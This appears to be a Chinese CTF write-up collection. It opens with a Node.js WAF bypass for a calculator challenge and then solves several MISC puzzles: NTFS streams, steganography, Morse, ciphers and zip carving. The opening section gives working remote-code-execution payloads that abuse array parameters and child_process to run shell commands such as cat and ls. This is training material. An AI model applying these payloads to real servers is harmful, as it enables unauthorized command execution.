第一个wafban了/(flc’\ “.如果触发,就会变成*,可以利用数组进行绕过第二层,只要前64个,第三层,去除空格,第四层,过滤shlnfsx,类似php,可以利用数组进行绕过,传入calc[]=a(aaa&calc[]=bbb&calc[]=ccc&calc[]=(

可以得到回显

1
a(aa**********

左括号已经绕过了waf。这个逻辑是这样的:for (let i = 0; i < calc.length; i++)会在此处获取传入参数的长度,我们只需要计算payload的长度,把payload放在第一个位置,有多长就在后面补多少个位置,使得第一个位置内所有字符逃逸出来实现rce,如上述的测试结果,数组内一共有5个元素,那么calc.length=5,而计算waf的位置会变成数组的第五个元素的位置,控制calc[4]='('即可牺牲掉这个字符来保全payload不被处理

len("require('child_process').spawnSync('ls',['/']).stdout.toString();")=65,构造65个字符,在最后使用敏感字符触发waf

1
2
3
calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.


calc能执行命令,取决于能逃逸多少字符,够不够,由于我们第一个数组打算执行命令,后面用来凑数执行溢出,但是他有长度限制,那么命令长度最大为65如果要ls /某个文件夹长度肯定不够的,要是spawnSync(‘cat’,[‘/GFCTF…’])长度超了好多的,得另想他法,1.child_process数组下标5就是execsync

1
calc[]=rObject.values(require('child_process'))[5]('cat${IFS}/G*>1')&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
1
2
calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

MISC

[SWPU 2019]漂流记的马里奥

NTFS隐写

改为rar打开可以看到提示是NTFS隐写

可以利用7z打开直接看到

也可以运行后直接

得到已合1.TXT

然后notepad 1.txt:flag.txt

得到

或者也可以binwalk分解exe

swupctf{ddg_is_cute}

[羊城杯 2021]签到题

image-20231215112432276

这题有点扯拐,有点脑筋急转弯惹
首先解压文件后得到一张gif,然后一共12帧,需要我们逐帧分析,每帧与数字的关联
图1 28准则
图2 8卦阵
图3 30而立之年
图4 北斗7星
图5 4大才子
图6 歼-20
图7 2只黄鹂鸣翠柳
图8 17来看流星雨
图9 23号乔丹
图10 1马当先
图11 12黄道
图12 新闻联播每晚19点首播
可以得出28-08-30-07-04-20-02-17-23-01-12-19,而将这串用MD5加密后就能得出32位的flag了
(太怪了.jpg)

[SWPU 2020]找找吧

压缩包加密了,拖到010打开末尾发现密码

解密,音频发现摩斯

-…/…-/…–/—-./-…/…–/./—-./…—/-…/—–/.—-/…—/.-/.-/-…

密码为n1ce_try

解压后得到一个png和一个gif

png改宽高得到提示凯撒

git分帧得到一个字符串,凯撒爆破

bFyd_w1l3_Cah

[鹤城杯 2021]easy_crypto

image-20240313162225878

[SWPUCTF 2022 新生赛]善哉善哉

010结尾发现一串摩斯,这里是中文摩斯,试了好几个网站都不行

https://gseen.com/online_tools/encryption/morse

之后新佛曰解密

1
2
3
新 佛 曰 : 諸 隸 僧 降 閦 吽 諸 閦 陀 摩 隸 僧 缽 薩 閦 嚤 降 斯 咤 須 閦 色 嘚 嘇 叻 閦 夷 喃 哆 嚴 吶 菩 若 嘇 耨 咒 閦 愍 閦 囉 耨 所 嚤 閦 嘇 閦 降 陀 叻 羅 宣 吽 眾 阿 愍 菩 修 心 降 叻 陀 嚤 吽 蜜 吶 斯 閦 嘚 愍 吽 若 宣 哆 色 塞 囉 伏 嘇 愍 降 嘇 吽 闍 兜 喼 如 

施主,此次前来,不知有何贵干?

image-20240315160508604

最后md5

加密一下32位MD5

image-20240315161055161

1
2
3
ss4 = '施主,此次前来,不知有何贵干?'
import hashlib
print(hashlib.md5(ss4.encode('utf8')).hexdigest())
1
2
if xxe.username!=username|| xxe.password!=password:
return '<return>false</return>'

[HDCTF 2023]MasterMisc

给了压缩包的6个碎片

image-20240516155029726

kali里合成一个压缩包

image-20240516155059321

1
cat *.zip* >1.zip

解压爆破密码为5483

image-20240516155247487

图片大小一看就不对,先拖进010看看

foremost分离(binwalk分离出来的奇奇怪怪,不太理解)

foremost -i topic.png

image-20240516160025600

其中一张图片存在宽高

image-20240516160111925

wav存在频谱瘾写

image-20240516160155495

再次使用010editor检查topic.png文件,搜索IEND来检查png文件结尾处,在第2个png文件和wav文件交界处,发现flag第3部分

image-20240516160451794

[HGAME 2022 week1]好康的流量

追踪tcp流发现一个base64的图片,复制转base64

拽去看lsb,发现image-20240516163043099

解密得到一部分flag

image-20240516163058345

hgame{ez_1mg_Steg4n 0graphy}

lsb瘾写得到后半段

image-20240516163705816

Steg4n0graphy}

[SWPUCTF 2021 新生赛]我的银行卡密码

题目名称银行卡密码,银行卡密码都是数字,压缩包密码也是数字喽

image-20240516205550804

看到里面的内容之后,我蒙了

93 53 63 71 51 63 41 51 83 63 23 23 93 62 61 94 93 71 41 92 41 71 63 41 51 31 83 43 41 21 81 22 21 74 42

The encryption scheme of next stage is decided by the last letters.下一阶段的加密方案由最后一个字母决定。

T1:@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@

T2:@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@

T3:@@@@@@@@@@@@@@@@@ @@@@@@@

T4:@@@@@@@@ @@@@@@ @@@

NSSCTF{REVERSE(@@@@@@@@)}

根据题目标签

第一个大概率是键盘密码

ylopjogjvoccynmzypgxgpogjdvigatbash

T1:atbash是埃特八什码 ylopjogjvoccynmzypgxgpogjdvig

bolkqltqelxxbmnabktctkltqwert

T2:qwert 键盘坐标 bolkqltqelxxbmnabktctklt

xisraseacsuuxzykxreverse

T3 :reverse xisraseacsuuxzykx

xkyzxuuscaesarsix

T4:caesar six 凯撒6 xkyzxuus

restroom

NSSCTF{moortser}